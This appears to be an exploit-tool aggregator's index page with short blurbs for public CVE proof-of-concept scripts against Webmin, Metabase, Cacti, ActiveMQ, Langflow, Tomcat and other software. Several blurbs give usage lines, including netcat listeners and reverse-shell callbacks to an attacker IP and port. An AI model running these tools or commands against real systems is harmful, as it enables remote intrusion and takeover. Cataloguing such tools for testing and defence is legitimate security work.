CVE-2021-32160

..| XSS to Privileged user |.. Description : Exploiting a Reflected Cross-Site Scripting XSS attack to create a privileged user through the Webmin's add users feature then getting a reverse shell through the Webmin's running process feature Tested Version : Webmin 1.973 GitHub's latest version...

golang-webmin-CVE-2022-0824-revshell

golang-webmin-CVE-2022-0824-revshell RCE in Webmin target url c - creds for webmin sl - your local server IP and port to host your payload s - callback ip p - callback port References https://www.webmin.com/security.html https://huntr.dev/bounties/d0049a96-de90-4b1a-9111-94de1044f295/...

CVE-2019-7214

Windows Reverse Shell Exploit PowerShell over TCP This Python script targets a vulnerable service running on a remote Windows machine. It sends a serialized .NET payload that launches a PowerShell-based reverse shell back to the attacker's machine. CVE-2019-7214 Remote Code Execution in .NET...

WonderCMS-4.3.2-XSS-to-RCE-Exploits-CVE-2023-41425

WonderCMS 4.3.2 XSS to RCE Exploits Overview These scripts exploit an XSS Cross-Site Scripting vulnerability in WonderCMS 4.3.2 to achieve Remote Code Execution RCE. The XSS payload, when triggered by the admin, automatically installs a reverse shell on the target server by leveraging a crafted...

CVE-2023-38646

CVE-2023-38646 A python RCE exploit for CVE-2023-38646 Usage Start a Listner root@kitploit: nc -lvnp Run the exploit root@kitploit: python3 CVE-2023-38646.py -u -l -p Help root@kitploit: python3 CVE-2023-38646.py -h usage: CVE-2023-38646.py -h -u URL -l LHOST -p LPORT optional arguments: -h, --he...

CVE-2014-7205

Bassmaster NodeJS Plugin RCE PoC bassmaster-rce.py: A Python script to exploit CVE-2014-7205. nodeshell.py: A Python module to generate a reverse shell for NodeJS !!Only use against servers on which you have permission to test Summary CVE-2014-7205 is a Remote Code Execution vulnerability in...

CVE-2012-2593

Atmail XSS-CSRF-RCE Exploit Chain PoC atmail-rce.py: Exploits CVE-2012-2593 in Atmail's webmail interface. atmail-csrf.js: Javascript file which leverages CVE 2012-2593 into a CSRF to install a malicious plugin which executes a reverse shell Plugin.php: Atmail plugin to be installed which calls a...

CVE-2022-42889

Quickstart root@kitploit: sudo apt install golang To run like Python: root@kitploit: go run main.go arg1 arg2 To build executable: root@kitploit: go build main.go Usage: root@kitploit: non@woa:/program$ go run main.go - Usage: ./program vulnerable/web?param= 'ls -la' To Do: Reverse shell...

CVE-2022-46169

CVE-2022-41343 🐍 Python Exploit for CVE-2022-46169 Staged Reverse Shell for Cacti = 1.2.22 Example root@kitploit: cve-2022-46169 10.10.14.5 44444 -u http://cacti.htb Usage root@kitploit: usage: cve-2022-46169 -h -u URL -s SHELL ip port positional arguments: ip Shell Callback IP Address/Host port...

CVE-2023-38646

Poc-Metabase-Preauth-CVE-2023-38646 Ho to use? root@kitploit: λ cve git clone https://github.com/LazyySec/CVE-2023-38646.git λ cve cd Poc-Metabase-Preauth-CVE-2023-38646 λ Poc-Metabase-Preauth-CVE-2023-38646 git:main go build CVE-2023-38646-Exploit.go λ Poc-Metabase-Preauth-CVE-2023-38646 git:mai...

Pluck-CMS-v4.7.18-Remote-Code-Execution-CVE-2023-50564

CVE-2023-50564 - Pluck CMS v4.7.18 Remote Code Execution RCE Exploit Description This script exploits a Remote Code Execution RCE vulnerability in Pluck CMS v4.7.18. The vulnerability allows a malicious user to upload a malicious PHP file to the server and execute it, gaining remote command...

CVE-2023-33733-Exploit-PoC

CVE-2023-33733-POC Disclamer I did not, nor do I take credit for finding this vulnerability. This is simply a script I built to more easily exploit this vulnerability for a CTF. For the oiriginal information please reference: https://github.com/c53elyas/CVE-2023-33733 This script is simply intend...

cve-2023-46604

Apache ActiveMQ CVE-2023-46604 CVE-2023-46604 is a widely exploited vulnerability that appears on CISA's KEV list. This go-exploit implementation can execute a reverse shell on the targets using a Nashorn payload, or download a binary to the target and execute it. Compiling To build the exploit...

CVE-2022-1388

CVE-2022-1388 RCE, Reverse Shell, and Auto-Export PCAP -- FOR EDUCATIONAL USE ONLY -- The author is not responsible or held liable for any actions taken with any aspect of this project/repository. I created this for the purposes of understanding the attack as well as writing detections within a...

From-EternalBlue-to-CVE-2025-2776-The-Evolution-of-an-SMB-Attack

From-EternalBlue-to-CVE-2025-2776-The-Evolution-of-an-SMB-Attack It shook the world in 2017 and has evolved into today’s CVE‑2025‑2776. Microsoft still relies on SMBv1, this article will explain how attackers have tweaked the chain from a simple DLL to a full reverse‑shell stack, and what that...

CVE-2019-15715

CVE-2019-15715 The current repository is an implementation in Python3 of CVE-2019-15715 and aims to focus on the solely improvement of the CVE-2019-15715 previously reported here by Nikolas Geiselman by adding python's parameter implementation to make the script more flexible. root@kitploit:...

SSRFX

CVE-2014-4210+Redis Unauthorized Access Installation root@kitploit: pip install -r requirements.txt Usage root@kitploit: usage: SSRFX.py -h --url URL --threads THREADS --app APP --network NETWORK --type TYPE --vulapp VULAPP --lhost LHOST --lport LPORT --rhost RHOST --rport RPORT SSRF Explotion...

cve-2020-14008

CVE-2020-14008 ManageEngine Exploit What is this? This script exploits CVE-2020-14008 in ManageEngine Applications Manager to get a reverse shell with SYSTEM privileges. Requirements root@kitploit: pip3 install requests urllib3 How to use it 1. Start a listener root@kitploit: nc -nlvp 9001 2. Run...

langflow-rce-exploit

Langflow RCE Exploit CVE-2025-3248 Remote Code Execution Exploit for Langflow CVE-2025-3248 Features Automatic vulnerability detection Multiple exploitation modes: Interactive shell Single command execution Reverse shell connection File upload capability Colorized user interface Multiple reverse...

CVE-2019-0232

CVE-2019-0232 Description This is a tool that automates the exploitation workflow for CVE‑2019‑0232 by providing both command execution mode and reverse‑shell mode. It supports automatic URL encoding for commands, spins up a temporary HTTP server to host nc.exe, uploads it to the vulnerable Apach...